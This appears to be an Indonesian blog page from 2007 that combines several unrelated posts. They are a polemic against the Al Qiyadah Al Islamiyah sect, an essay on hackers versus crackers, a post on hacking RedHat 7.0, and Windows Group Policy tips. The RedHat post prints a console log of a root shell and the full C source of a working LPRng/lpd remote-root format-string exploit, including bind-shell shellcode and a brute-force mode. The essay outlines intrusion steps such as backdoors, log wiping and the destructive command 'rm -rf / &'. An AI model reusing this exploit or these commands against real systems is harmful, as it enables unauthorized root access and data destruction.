~"D1Y4N"~

Belakangan ini muncul aliran sesat baru, yakni aliran Al Qiyadah Al Islamiyah. Aliran (Islam) sesat ini dinilai melenceng dari Islam karena beberapa hal:
1. Adanya pengakuan si ‘pendiri’ aliran, bahwa dirinya adalah Nabi dan Rasul.
2. Tidak mengakui Rasululloh SAW sebagai Nabi dan Rasul terakhir (dalam syahadat mereka, tidak mengikutsertakan nama Rasululloh SAW).
3. Tidak perlu menjalankan rukun Islam
4. Tidak perlu sholat 5 waktu

MUI sendiri telah menyatakan bahwa aliran ini sesat serta sudah meminta pihak kepolisian menindak tegas aliran ini. Anehnya, pihak kepolisian nampak lambat menangani kasus ini, terbukti dengan digelarnya kegiatan aliran sesat ini di sebuah hotel di kawasan Jakarta Pusat.

Meski dinilai lambat, pihak kepolisian tetap menjalankan tugasnya. Mereka menangkap beberapa pengikut aliran ini yang sedang menyebarkan aliran ini ke masyarakat sekitar. Dalam pengakuannya, mereka menyatakan bahwa aliran ini adalah Islam yg sesungguhnya. Bahkan mereka menyatakan bahwa mereka sholat hanya sesuai sholatnya Rasululloh SAW yakni qiyamul lail. *aneh sekali, mereka tidak mendirikan sholat wajib, melainkan lebih memilih qiyamul lail yg hukumnya sunnah*

Dari beberapa berita, terutama yg aku lihat di televisi, beberapa ulama yg dimintai pendapatnya menyatakan bahwa mereka sudah jelas MURTAD alias keluar dari Islam. Para ulama bahkan ada yg lebih ekstrim lagi, mereka menyatakan agar aliran itu membuat agama baru, tidak mendompleng Islam. Hal ini dikarenakan Islam sudah jelas aturannya.

Aku sendiri sempat melihat bai’at dan pembacaan syahadat aliran ini. Benar2 aneh dan tidak masuk akal…terlebih lagi saat mendengar wawancara dengan pendiri aliran ini. Dia menyatakan bahwa tindakannya ini (menyatakan diri sebagai nabi dan menyebarkan aliran ini) didasarkan pada peristiwa MIMPI sebanyak 6 kali yang dialaminya. *wah, gawat sekali jika mimpi ‘manusia biasa’ dijadikan acuan. bagaimana jika ada yg mimpi jadi presiden indonesia lalu dia ‘ngotot’ jadi presiden?*

Dalam tayangan tersebut, aku melihat para pengikut aliran ini MEMPUNYAI KESAN orang2 yg pintar. Tapi mengapa mereka memilih aliran sesat ini? Jawabannya, menurutku, adalah mereka merasa ‘terbelenggu’ dengan aturan dan kewajiban yg mesti mereka lakukan di Islam. Sebagai contoh, mereka tidak mau sholat 5 waktu tapi lebih memilih qiyamul lail. Dengan kata lain, mereka memilih hawa nafsu mereka dan tidak mau ‘bercape-cape’ dalam menjalankan syariat.

‘Hebatnya’, mereka malah berani menyuruh MUI dan umat Islam lain untuk bertobat dan ikut aliran ini!! Wah wah wah…makin kacau saja orang2 ini.

Semoga pihak kepolisian segera menindak para aliran ini seperti halnya yg dilakukan ke Lia Eden.

Bagaimanapun, ini menambah daftar aliran sesat di Indonesia dan nabi2 palsu.

Berikut file2 liputan Al Qiyadah:
- File 1
- File 2
- File 3

Belajar Menjadi Hacker

iyanux — Mon, 13 Aug 2007 11:25:44 +0000

Oleh : Onno W. Purbo

Hacker dengan keahliannya dapat melihat & memperbaiki kelemahan perangkat lunak di komputer; biasanya kemudian di publikasikan secara terbuka di Internet agar sistem menjadi lebih baik. Sialnya, segelintir manusia berhati jahat menggunakan informasi tersebut untuk kejahatan – mereka biasanya disebut cracker. Pada dasarnya dunia hacker & cracker tidak berbeda dengan dunia seni, disini kita berbicara seni keamanan jaringan Internet.

Saya berharap ilmu keamanan jaringan di tulisan ini digunakan untuk hal-hal yang baik – jadilah Hacker bukan Cracker. Jangan sampai anda terkena karma karena menggunakan ilmu untuk merusak milik orang lain. Apalagi, pada saat ini kebutuhan akan hacker semakin bertambah di Indonesia dengan semakin banyak dotcommers yang ingin IPO di berbagai bursa saham. Nama baik & nilai sebuah dotcom bisa jatuh bahkan menjadi tidak berharga jika dotcom di bobol. Dalam kondisi ini, para hacker di harapkan bisa menjadi konsultan keamanan bagi para dotcommers tersebut – karena SDM pihak kepolisian & aparat keamanan Indonesia amat sangat lemah & menyedihkan di bidang Teknologi Informasi & Internet. Apa boleh buat cybersquad, cyberpatrol swasta barangkali perlu di budayakan untuk survival dotcommers Indonesia di Internet.

Berbagai teknik keamanan jaringan Internet dapat di peroleh secara mudah di Internet antara lain di http://www.sans.org, http://www.rootshell.com, http://www.linuxfirewall.org/, http://www.linuxdoc.org, http://www.cerias.purdue.edu/coast/firewalls/, http://www.redhat.com/mirrors/LDP/HOWTO/. Sebagian dari teknik ini berupa buku-buku yang jumlah-nya beberapa ratus halaman yang dapat di ambil secara cuma-cuma (gratis). Beberapa Frequently Asked Questions (FAQ) tentang keamanan jaringan bisa diperoleh di http://www.iss.net/vd/mail.html, http://www.v-one.com/documents/fw-faq.htm. Dan bagi para experimenter beberapa script / program yang sudah jadi dapat diperoleh antara lain di http://bastille-linux.sourceforge.net/, http://www.redhat.com/support/docs/tips/firewall/firewallservice.html.

Bagi pembaca yang ingin memperoleh ilmu tentang jaringan dapat di download secara cuma-cuma dari http://pandu.dhs.org, http://www.bogor.net/idkf/, http://louis.idaman.com/idkf. Beberapa buku berbentuk softcopy yang dapat di ambil gratis dapat di ambil dari http://pandu.dhs.org/Buku-Online/. Kita harus berterima kasih terutama kepada team Pandu yang dimotori oleh I Made Wiryana untuk ini. Pada saat ini, saya tidak terlalu tahu adanya tempat diskusi Indonesia yang aktif membahas teknik-teknik hacking ini – tetapi mungkin bisa sebagian di diskusikan di mailing list lanjut seperti kursus-linux@yahoogroups.com & linux-admin@linux.or.id yang di operasikan oleh Kelompok Pengguna Linux Indonesia (KPLI) http://www.kpli.or.id.

Cara paling sederhana untuk melihat kelemahan sistem adalah dengan cara mencari informasi dari berbagai vendor misalnya di http://www.sans.org/newlook/publications/roadmap.htm#3b tentang kelemahan dari sistem yang mereka buat sendiri. Di samping, memonitoring berbagai mailing list di Internet yang berkaitan dengan keamanan jaringan seperti dalam daftar http://www.sans.org/newlook/publications/roadmap.htm#3e.

Dijelaskan oleh Front-line Information Security Team, “Techniques Adopted By ‘System Crackers’ When Attempting To Break Into Corporate or Sensitive Private Networks,” fist@ns2.co.uk http://www.ns2.co.uk. Seorang Cracker umumnya pria usia 16-25 tahun. Berdasarkan statistik pengguna Internet di Indonesia maka sebetulnya mayoritas pengguna Internet di Indonesia adalah anak-anak muda pada usia ini juga. Memang usia ini adalah usia yang sangat ideal dalam menimba ilmu baru termasuk ilmu Internet, sangat disayangkan jika kita tidak berhasil menginternetkan ke 25000 sekolah Indonesia s/d tahun 2002 – karena tumpuan hari depan bangsa Indonesia berada di tangan anak-anak muda kita ini.

Nah, para cracker muda ini umumnya melakukan cracking untuk meningkatkan kemampuan / menggunakan sumber daya di jaringan untuk kepentingan sendiri. Umumnya para cracker adalah opportunis. Melihat kelemahan sistem dengan mejalankan program scanner. Setelah memperoleh akses root, cracker akan menginstall pintu belakang (backdoor) dan menutup semua kelemahan umum yang ada.

Seperti kita tahu, umumnya berbagai perusahaan / dotcommers akan menggunakan Internet untuk (1) hosting web server mereka, (2) komunikasi e-mail dan (3) memberikan akses web / internet kepada karyawan-nya. Pemisahan jaringan Internet dan IntraNet umumnya dilakukan dengan menggunakan teknik / software Firewall dan Proxy server. Melihat kondisi penggunaan di atas, kelemahan sistem umumnya dapat di tembus misalnya dengan menembus mailserver external / luar yang digunakan untuk memudahkan akses ke mail keluar dari perusahaan. Selain itu, dengan menggunakan agressive-SNMP scanner & program yang memaksa SNMP community string dapat mengubah sebuah router menjadi bridge (jembatan) yang kemudian dapat digunakan untuk batu loncatan untuk masuk ke dalam jaringan internal perusahaan (IntraNet).

Agar cracker terlindungi pada saat melakukan serangan, teknik cloacking (penyamaran) dilakukan dengan cara melompat dari mesin yang sebelumnya telah di compromised (ditaklukan) melalui program telnet atau rsh. Pada mesin perantara yang menggunakan Windows serangan dapat dilakukan dengan melompat dari program Wingate. Selain itu, melompat dapat dilakukan melalui perangkat proxy yang konfigurasinya kurang baik.

Setelah berhasil melompat dan memasuki sistem lain, cracker biasanya melakukan probing terhadap jaringan dan mengumpulkan informasi yang dibutuhkan. Hal ini dilakukan dengan beberapa cara, misalnya (1) menggunakan nslookup untuk menjalankan perintah ‘ls ’ , (2) melihat file HTML di webserver anda untuk mengidentifikasi mesin lainnya, (3) melihat berbagai dokumen di FTP server, (4) menghubungkan diri ke mail server dan menggunakan perintah ‘expn ’, dan (5) mem-finger user di mesin-mesin eksternal lainnya.

Langkah selanjutnya, cracker akan mengidentifikasi komponen jaringan yang dipercaya oleh system apa saja. Komponen jaringan tersebut biasanya mesin administrator dan server yang biasanya di anggap paling aman di jaringan. Start dengan check akses & eksport NFS ke berbagai direktori yang kritis seperti /usr/bin, /etc dan /home. Eksploitasi mesin melalui kelemahan Common Gateway Interface (CGI), dengan akses ke file /etc/hosts.allow.

Selanjutnya cracker harus mengidentifikasi komponen jaringan yang lemah dan bisa di taklukan. Cracker bisa mengunakan program di Linux seperti ADMhack, mscan, nmap dan banyak scanner kecil lainnya. Program seperti ‘ps’ & ‘netstat’ di buat trojan (ingat cerita kuda troya? dalam cerita klasik yunani kuno) untuk menyembunyikan proses scanning. Bagi cracker yang cukup advanced dapat mengunakan aggressive-SNMP scanning untuk men-scan peralatan dengan SNMP.

Setelah cracker berhasil mengidentifikasi komponen jaringan yang lemah dan bisa di taklukan, maka cracker akan menjalan program untuk menaklukan program daemon yang lemah di server. Program daemon adalah program di server yang biasanya berjalan di belakang layar (sebagai daemon / setan). Keberhasilan menaklukan program daemon ini akan memungkinkan seorang Cracker untuk memperoleh akses sebagai ‘root’ (administrator tertinggi di server).

Untuk menghilangkan jejak, seorang cracker biasanya melakukan operasi pembersihan ‘clean-up’ operation dengan cara membersihkan berbagai log file. Dan menambahkan program untuk masuk dari pintu belakang ‘backdooring’. Mengganti file .rhosts di /usr/bin untuk memudahkan akses ke mesin yang di taklukan melalui rsh & csh.

Selanjutnya seorang cracker dapat menggunakan mesin yang sudah ditaklukan untuk kepentingannya sendiri, misalnya mengambil informasi sensitif yang seharusnya tidak dibacanya; mengcracking mesin lain dengan melompat dari mesin yang di taklukan; memasang sniffer untuk melihat / mencatat berbagai trafik / komunikasi yang lewat; bahkan bisa mematikan sistem / jaringan dengan cara menjalankan perintah ‘rm -rf / &’. Yang terakhir akan sangat fatal akibatnya karena sistem akan hancur sama sekali, terutama jika semua software di letakan di harddisk. Proses re-install seluruh sistem harus di lakukan, akan memusingkan jika hal ini dilakukan di mesin-mesin yang menjalankan misi kritis.

Oleh karena itu semua mesin & router yang menjalankan misi kritis sebaiknya selalu di periksa keamanannya & di patch oleh software yang lebih baru. Backup menjadi penting sekali terutama pada mesin-mesin yang menjalankan misi kritis supaya terselamatkan dari ulah cracker yang men-disable sistem dengan ‘rm -rf / &’.

Bagi kita yang sehari-hari bergelut di Internet biasanya justru akan sangat menghargai keberadaan para hacker (bukan Cracker). Karena berkat para hacker-lah Internet ada dan dapat kita nikmati seperti sekarang ini, bahkan terus di perbaiki untuk menjadi sistem yang lebih baik lagi. Berbagai kelemahan sistem di perbaiki karena kepandaian rekan-rekan hacker yang sering kali mengerjakan perbaikan tsb. secara sukarela karena hobby-nya. Apalagi seringkali hasil hacking-nya di sebarkan secara cuma-cuma di Internet untuk keperluan masyarakat Internet. Sebuah nilai & budaya gotong royong yang mulia justru tumbuh di dunia maya Internet yang biasanya terkesan futuristik dan jauh dari rasa sosial.

Pengembangan para hobbiest hacker ini menjadi penting sekali untuk keberlangsungan / survival dotcommers di wahana Internet Indonesia. Sebagai salah satu bentuk nyatanya, dalam waktu dekat Insya Allah sekitar pertengahan April 2001 akan di adakan hacking competition di Internet untuk membobol sebuah server yang telah di tentukan terlebih dahulu. Hacking competition tersebut di motori oleh anak-anak muda di Kelompok Pengguna Linux Indonesia (KPLI) Semarang yang digerakan oleh anak muda seperti Kresno Aji (masaji@telkom.net), Agus Hartanto (hartx@writeme.com) & Lekso Budi Handoko (handoko@riset.dinus.ac.id). Seperti umumnya anak-anak muda lainnya, mereka umumnya bermodal cekak – bantuan & sponsor tentunya akan sangat bermanfaat dan dinantikan oleh rekan-rekan muda ini.

Mudah-mudahan semua ini akan menambah semangat pembaca, khususnya pembaca muda, untuk bergerak di dunia hacker yang mengasyikan dan menantang. Kalau kata Captain Jean Luc Picard di Film Startrek Next Generation, “To boldly go where no one has gone before”.

ngehack redhad 7.0

iyanux — Mon, 13 Aug 2007 02:31:17 +0000

menjelang tahun baru 2001, Redhat versi terbaru, yaitu RedHat 7.0 mendapat tamparan yang cukup kencang dari kelompok security netcat. kelompok ini membuat sebuah program yang mampu meng-exploit security bug yang terdapat pada lpd dimana pada bug ini memungkinkan remote user untuk mendapatkan root akses.
Berikut adalah percobaan yang telah dilakukan oleh pihak jasakom dalam menggunakan exploit yang telah di sebar luaskan pada security team di internet pada jam 3 pagi waktu indonesia. Pihak jasakom yang menggunakan RedHat 7.0 dengan port lpd yang terbuka melakukan exploit pada web server di lab jasakom. Pada bug yg obatnya ada di http://www.redhat.com/support/errata/RHSA-2000-065-06.html atau updatenya di ftp://updates.redhat.com/7.0/i386/LPRng-3.6.24-2.i386.rpm ftp://updates.redhat.com/7.0/SRPMS/LPRng-3.6.24-2.src.rpm
diperkirakan akan banyak dipakai oleh orang-orang tidak bertanggung jawab dalam melakukan deface ke web server.

Berikut adalah hasil percobaan dari pihak jasakom :
[root@localhost /test]# ls
SEClpd.c.txt SElpd SElpd.c saint
[root@localhost /test]# ./SElpd 127.0.0.1 -t 0
+++ www.netcat.it remote exploit for LPRng/lpd

+++ Exploit information
+++ Victim: 127.0.0.1
+++ Type: 0 – RedHat 7.0 – Guinesss
+++ Eip address: 0xbffff3ec
+++ Shellcode address: 0xbffff7f2
+++ Position: 300
+++ Alignment: 2
+++ Offset 0

+++ Attacking 127.0.0.1 with our format string
Argh exploit failed$#%! try brute force!

Percobaan pertama gagal, kemudian dilakukan exploit dengan menggunakan brute dan inilah hasilnya :

[root@localhost /test]# ./SElpd 127.0.0.1 brute -t 0
+++ www.netcat.it remote exploit for LPRng/lpd

+++ Exploit information
+++ Victim: 127.0.0.1
+++ Type: 0 – RedHat 7.0 – Guinesss
+++ Eip address: 0xbffff3ec
+++ Shellcode address: 0xbffff7f2
+++ Position: 300
+++ Alignment: 2
+++ Offset 0

+++ Attacking 127.0.0.1 with our format string
+++ Brute force man, relax and enjoy the ride ;>
+++ The eip_address is 0xbffff3d8

- [+] shell located on 127.0.0.1
- [+] Enter Commands at will

Linux localhost.localdomain 2.2.16-22 #1 Tue Aug 22 16:16:55 EDT 2000 i586 unkno
wn
uid=0(root) gid=7(lp)
ls <- Bingo !!! anda telah berhasil
bin
boot
dev
etc
home
lib
lost+found
misc
mnt
opt
proc
root
sbin
test
tmp
usr
var
cd etc
ls
CORBA
DIR_COLORS
Muttrc
X11
adjtime
aliases
aliases.db
anacrontab
at.deny
auto.master
auto.misc
bashrc
cdrecord.conf
conf.linuxconf
cron.d
cron.daily
cron.hourly
cron.monthly
cron.weekly
crontab
csh.cshrc
csh.login
default
dhcpc
dhcpcd
dumpdates
enscript.cfg
esd.conf
exports
fdprm
filesystems
fnrc
fstab
ftpaccess
ftpconversions
ftpgroups
ftphosts
ftpusers
gettydefs
gnome
gpm-root.conf
group
group-
gshadow
gshadow-
gtk
gtk-2.0
host.conf
hosts
hosts.allow
hosts.deny
httpd
identd.conf
im
im_palette-small.pal
im_palette-tiny.pal
im_palette.pal
imrc
info-dir
init.d
initlog.conf
inittab
inputrc
ioctl.save
isapnp.gone
isdn
issue
issue.net
krb5.conf
lam
ld.so.cache
ld.so.conf
ldap.conf
lilo.conf
localtime
login.defs
logrotate.conf
logrotate.d
lpd.conf
lpd.perms
ltrace.conf
lynx.cfg
mail
mail.rc
mailcap
makedev.d
man.config
mc.global
mesa.conf
mgetty+sendfax
midi
mime-magic
mime-magic.dat
mime.types
minicom.users
modules.conf
motd
mtab
mtools.conf
my.conf
news
nmh
nsswitch.conf
odbc.ini
odbcinst.ini
openldap
opt
pam.d
pango
paper.config
passwd
passwd-
passwd.OLD
pbm2ppa.conf
pcmcia
php.ini
pine.conf
pine.conf.fixed
pluggerrc
pnm2ppa.conf
ppp
printcap
profile
profile.d
protocols
pwdb.conf
rc
rc.d
rc.local
rc.news
rc.sysinit
rc0.d
rc1.d
rc2.d
rc3.d
rc4.d
rc5.d
rc6.d
redhat-release
resolv.conf
rmt
rpc
rpm
rpmlint
samba
sane.d
screenrc
securetty
security
sendmail.cf
sensors.conf
services
shadow-
shells
skel
smrsh
snmp
sound
squid
ssh
sysconfig
sysctl.conf
syslog.conf
termcap
updatedb.conf
uucp
wgetrc
xinetd.conf
xinetd.d
yp.conf
ypserv.conf
pwd <- melihat direktory
/etc

Berikut adalah program yang digunakan. Semoga anda tidak melakukan hal-hal yang merusak denganya, karena pihak jasakom tidak bertanggung jawab atas code ini

/*
*
* www.netcat.it Presents: LPRng/Linux remote root lpd exploit.
*
* NetCat.it – admin@netcat.it
*
* Please Sysadmin Patch your Box!
* Please RedHat.com, release a patch!
*
* Run: ./SEClpd victim brute -t type
* Try first ./SEClpd victim -t 0 then try the brute.
*
* This exploit can be download from www.netcat.it
*
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define ADDRESS_BUFFER_SIZE 32+4
#define APPEND_BUFFER_SIZE 52
#define FORMAT_LENGTH 512-8
#define NOPCOUNT 200
#define SHELLCODE_COUNT 1030
#define DELAY 50000 /* usecs */
#define OFFSET_LIMIT 5000

char shellcode[] =

“\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80″
“\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8″
“\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89″
“\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0″
“\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd”
“\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9″
“\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75″
“\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08″
“\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh”;

struct target
{
char *os_name;
u_long eip_address;
u_long shellcode_address;
unsigned int position;
int written_bytes;
int align;
};

struct target targets[] =
{
{ “RedHat 7.0 – Guinesss “, 0xbffff3ec, 0L, 300, 70, 2, },
{ “RedHat 7.0 – Guinesss-dev”, 0xbffff12c, 0L, 300, 70, 2, },
{
NULL, 0L, 0L, 0, 0, 0
}
};

static char address_buffer[ADDRESS_BUFFER_SIZE+1];
static char append_buffer[APPEND_BUFFER_SIZE+1];
static char shellcode_buffer[1024];
static char *hostname=NULL;
static int offset;
static struct hostent *he;
int type=-1;
int brute=-1, failure=1;

void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int previous, u_int addr_loc)
{
int i;
unsigned int tmp = 0;
unsigned int copied = previous;
unsigned int num[4] =
{
(unsigned int) (shellcode_addr & 0×000000ff),
(unsigned int)((shellcode_addr & 0×0000ff00) >> 8),
(unsigned int)((shellcode_addr & 0×00ff0000) >> 16),
(unsigned int)((shellcode_addr & 0xff000000) >> 24)
};

memset (address_buffer, ”, sizeof(address_buffer));
memset (append_buffer, ”, sizeof(append_buffer));

for (i = 0; i < 4; i++)
{
while (copied > 0×100)
copied -= 0×100;

if ( (i > 0) && (num[i-1] == num[i]) )
sprintf (append_buffer+strlen(append_buffer), “%%%d$n”, addr_loc+i);
else if (copied < num[i])
{
if ( (num[i] – copied) <= 10)
{
sprintf (append_buffer+strlen(append_buffer), “%.*s”,
(int)(num[i] – copied), “www.netcat.it”);
copied += (num[i] – copied);
sprintf (append_buffer+strlen(append_buffer), “%%%d$n”, addr_loc+i); } else {
sprintf (append_buffer+strlen(append_buffer), “%%.%du”,
num[i] – copied);
copied += (num[i] – copied);
sprintf (append_buffer+strlen(append_buffer), “%%%d$n”, addr_loc+i); }
} else {
tmp = ((num[i] + 0×100) – copied);
sprintf (append_buffer+strlen(append_buffer), “%%.%du”, tmp);
copied += ((num[i] + 0×100) – copied);
sprintf (append_buffer+strlen(append_buffer), “%%%d$n”, addr_loc+i);
}

sprintf (address_buffer+strlen(address_buffer), “%c%c%c%c”,
(unsigned char) ((eip_addr+i) & 0×000000ff),
(unsigned char)(((eip_addr+i) & 0×0000ff00) >> 8),
(unsigned char)(((eip_addr+i) & 0×00ff0000) >> 16),
(unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
}

while (strlen(address_buffer) < ADDRESS_BUFFER_SIZE)
strcat (address_buffer, “X”);

#ifdef DEBUG
printf (”\nGeneration complete:\nAddress: “);
for (i = 0; i < strlen(address_buffer); i++)
{
if ( ((i % 4) == 0) && (i > 0) )
printf (”.”);
printf (”%02x”, (unsigned char)address_buffer[i]);
}
printf (”\nAppend: %s\n”, append_buffer);
#endif

return;
}

char *create_malicious_string(void)
{
static char format_buffer[FORMAT_LENGTH+1];
long addr1,addr2;
int i;

memset (format_buffer, ”, sizeof(format_buffer));

targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;

addr1 = targets[type].eip_address;
addr2 = targets[type].shellcode_address;
calculate_rets (addr1, addr2,targets[type].written_bytes, targets[type].position);

(void)snprintf (format_buffer, sizeof(format_buffer)-1, “%.*s%s”,
targets[type].align, “BBBB”, address_buffer);

strncpy (address_buffer, format_buffer, sizeof(address_buffer)-1);
strncpy (format_buffer, append_buffer, sizeof(format_buffer)-1);

for(i = 0 ; i < NOPCOUNT ; i++)
strcat(format_buffer, “\x90″);

strcat(format_buffer, shellcode);

return (format_buffer);
}

int connect_victim()
{

int sockfd, n;
struct sockaddr_in s;
fd_set fd_stat;
char buff[1024];

static char testcmd[256] = “/bin/uname -a ; id ;\r\n”;

s.sin_family = AF_INET;
s.sin_port = htons (3879);
s.sin_addr.s_addr = *(u_long *)he->h_addr;

if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
printf (”— [5] Unable to create socket!\n”);
printf(”Exploit failed!\n”);
return -1;
}

if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
{
return -1;
}

if(brute)

printf(”+++ The eip_address is 0x%x\n\n”, targets[type].eip_address);

printf(”- [+] shell located on %s\n”, hostname);
printf(”- [+] Enter Commands at will\n\n”);

failure = -1;

FD_ZERO(&fd_stat);
FD_SET(sockfd, &fd_stat);
send(sockfd, testcmd, strlen(testcmd), 0);

while(1) {

FD_SET(sockfd,&fd_stat);
FD_SET(0,&fd_stat);

if(select(sockfd+1,&fd_stat,NULL,NULL,NULL)<0) break;
if( FD_ISSET(sockfd, &fd_stat) ) {
if((n=read(sockfd,buff,sizeof(buff)))<0){
fprintf(stderr, “EOF\n”);
return 2;
}

if(write(1,buff,n)<0)break;
}
if ( FD_ISSET(0, &fd_stat) ) {
if((n=read(0,buff,sizeof(buff)))<0){
fprintf(stderr,”EOF\n”);
return 2;
}

if(send(sockfd,buff,n,0)<0) break;

}
}
}

void send_code(char *exploit_buffer)
{

int sockfd, n;
struct sockaddr_in s;
fd_set fd_stat;
char recv[1024];
static char testcmd[256] = “/bin/uname -a ; id ;\r\n”;

s.sin_family = AF_INET;
s.sin_port = htons (515);
s.sin_addr.s_addr = *(u_long *)he->h_addr;

if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
printf (”— [5] Unable to create socket!\n”);
printf(”Exploit failed!\n”);
exit(-1);
}

if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
{
printf (”— [5] Unable to connect to %s\n”, hostname);
printf(”Exploit failed, %s is not running LPD!\n”, hostname);
exit(-1);
}

usleep(DELAY);

if(write (sockfd, exploit_buffer, strlen(exploit_buffer)) < 0)
{
printf (”Couldn’t write to socket %d”, sockfd);
printf (”Exploit failed\n”);
exit(2);
}

close(sockfd);
connect_victim();

}

void usage(char *program)
{

int i=0;

printf(”SEClpd by www.netcat.it ! \n\n”);
printf(”Usage: %s victim [\”brute\”] -t type [-o offset] [-a align] [-p position] [-r eip_addr] [-c shell_addr] [-w written_bytes] \n\n”, program);
printf(”ie: ./SEClpd localhost -t 0 For most redhat 7.0 boxes\n”);
printf(”ie: ./SEClpd localhost brute -t 0 For brute forcing all redhat 7.0 boxes\n”);
printf(”Types:\n\n”);

while( targets[i].os_name != NULL)
printf (”[ Type %d: [ %s ]\n”, i++, targets[i].os_name);
}

int main(int argc, char **argv)
{

char exploit_buffer[1024];
char *format = NULL;
int c, brutecount=0;

if(argc < 3)
{
usage(argv[0]);
return 1;
}

hostname = argv[1];

if(!strncmp(argv[2], “brute”, 5)) brute = 1;

while(( c = getopt (argc, argv, “t:r:c:a:o:p:w:k”))!= EOF){

switch (c)
{

case ‘t’:
type = atoi(optarg);
break;

case ‘r’:
targets[type].eip_address = strtoul(optarg, NULL, 16);
break;

case ‘c’:
targets[type].shellcode_address = strtoul(optarg, NULL, 16);
break;

case ‘a’:
targets[type].align = atoi(optarg);
break;

case ‘o’:
offset = atoi(optarg);
break;

case ‘p’:
targets[type].position = atoi(optarg);
break;

case ‘w’:
targets[type].written_bytes = atoi(optarg);
break;

default:
usage(argv[0]);
return 1;
}
}

if(type < 0)
{
printf(”You must specify a type!\n”);
printf(”example: ./SEClpd victim -t 0\n”);
return -1;
}

if ( (he = gethostbyname (hostname)) == NULL)
{
herror(”gethostbyname”);
exit(1);
}

targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;

printf(”+++ www.netcat.it remote exploit for LPRng/lpd \n\n”);

printf(”+++ Exploit information\n”);
printf(”+++ Victim: %s\n”, hostname);
printf(”+++ Type: %d – %s\n”, type, targets[type].os_name);
printf(”+++ Eip address: 0x%x\n”, targets[type].eip_address);
printf(”+++ Shellcode address: 0x%x\n”, targets[type].shellcode_address);
printf(”+++ Position: %d\n”, targets[type].position);
printf(”+++ Alignment: %d\n”, targets[type].align);
printf(”+++ Offset %d\n”, offset);
printf(”\n”);

printf(”+++ Attacking %s with our format string\n”, hostname);

if( brute > 0 )
{

printf(”+++ Brute force man, relax and enjoy the ride ;>\n”);
targets[type].eip_address = 0xbffffff0;

while(failure)

{
memset(exploit_buffer, ”, sizeof(exploit_buffer));

format = create_malicious_string();
strcpy(exploit_buffer, address_buffer);
strcat(exploit_buffer, format);
strcat(exploit_buffer, “\n”);
send_code(exploit_buffer);

targets[type].eip_address = 0xbffffff0 – offset;

offset+=4;

if (offset > OFFSET_LIMIT) {
printf(”+++ Offset limit hit, ending brute mode ;<\n”);
return -1;

}
}
}

else

format = create_malicious_string();
strcpy(exploit_buffer, address_buffer);
strcat(exploit_buffer, format);
strcat(exploit_buffer, “\n”);
send_code(exploit_buffer);

printf(”Argh exploit failed$#%! try brute force!\n”);

return (-1);

Mendisable Menu Folder Option pada Windows Explorer

iyanux — Mon, 13 Aug 2007 01:54:42 +0000

Kadang-kadang karena alasan tertentu (misalnya kerahasiaan atau keamanan), kita bisa merubah attribute file menjadi hidden agar orang lain tidak bisa mengetahui/melihatnya. Jika demikian yang Anda inginkan maka Anda harus memilih option Do not show hidden files or folders pada Folder Option tab view. (lihat gambar di bawah ini). Dengan demikian file yang kita hidden tidak nampak dalam Windows explorer.

Untuk menambah jaminan keamanannya Anda bisa mendisable atau “menghilangkan” Folder Option tersebut sehingga tidak nampak pada submenu Tools pada Windows Explorer.

Caranya seperti biasa Klik Start > Run > kemudian ketik gpedit.msc kemudian enter atau OK hingga muncul seperti gambar di bawah ini.

Kemudian User Configuration > Administrative Templates > Windows Components > Windows Explorer dan akan muncul seperti gambar di bawah ini.

Kemudian pada sisi kanan Klik double Remove the Folder Options menu item the Tools menu dan akan muncul seperti gambar di bawah ini.

Kemudian pilih option enabled. Klik OK dan tutup Group Policy. Setelah itu, kita mencoba membuka Windows Explorer. Kemudian perhatikan pada menu Tools, di situ menu Folder Option sudah tidak ada. Selamat Mencoba.

Membatasi hak akses drive pada My Computer

iyanux — Mon, 13 Aug 2007 01:44:28 +0000

Apakah PC Anda sering digunakan anak atau isteri Anda? Atau bahkan sering Anda pinjamkan kepada orang lain? Mungkin saja Anda punya data penting yang tidak boleh diketahui oleh orang lain atau tidak boleh diakses oleh anak seusia anak Anda. Bagaimana jika Anda sering membawa pulang pekerjaan kantor berupa data/file penting yang orang lain tidak boleh mengetahuinya?

Banyak alternatife untuk membatasi/mencegah hak akses agar data tidak bisa diakses orang lain. Selain dengan menggunakan software tertentu (misalnya, Folder Security) bisa juga dengan mengotak-atik fasilitas Group Policy Editor (gpedit.msc). Dengan hanya beberapa langkah saja, Anda akan terbebas dari perasaan kuatir akan keamanan data Anda.

Ikuti langkah-langkah di bawah ini.

· Klik Start > Run > ketik gpedit.msc kemudian ENTER atau OK tunggu beberapa saat hingga muncul editor seperti gambar di bawah ini.

· Kemudian Klik User Configuration > Administrative Templates > Windows Components > Windows Explorer seperti nampak pada gambar di bawah ini.

· Kemudian pada sisi sebelah kanan Klik double pada Prevent access to the drive from My Computer dan akan muncul kotak seperti di bawah ini.

Klik/pilih Enabled kemudian pilih salah satu option dibawah menu Pick one of the following combinations. Option yang ditawarkan adalah sebagai berikut.

Restrict A and B drives only ==> membatasi drive A dan B saja
Restrict C drive only ==> membatasi drive C saja
Restrict D drive only ==> membatasi drive D saja
Restric A,B,C drives only ==> membatasi drive A,B,C saja
Restrict A,B,C.D drives only ==> membatasi drive A,B,C,D saja
